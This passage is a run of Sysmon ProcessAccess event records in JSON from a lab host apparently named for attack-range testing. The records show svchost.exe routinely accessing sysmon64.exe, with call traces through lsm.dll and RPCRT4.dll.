C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 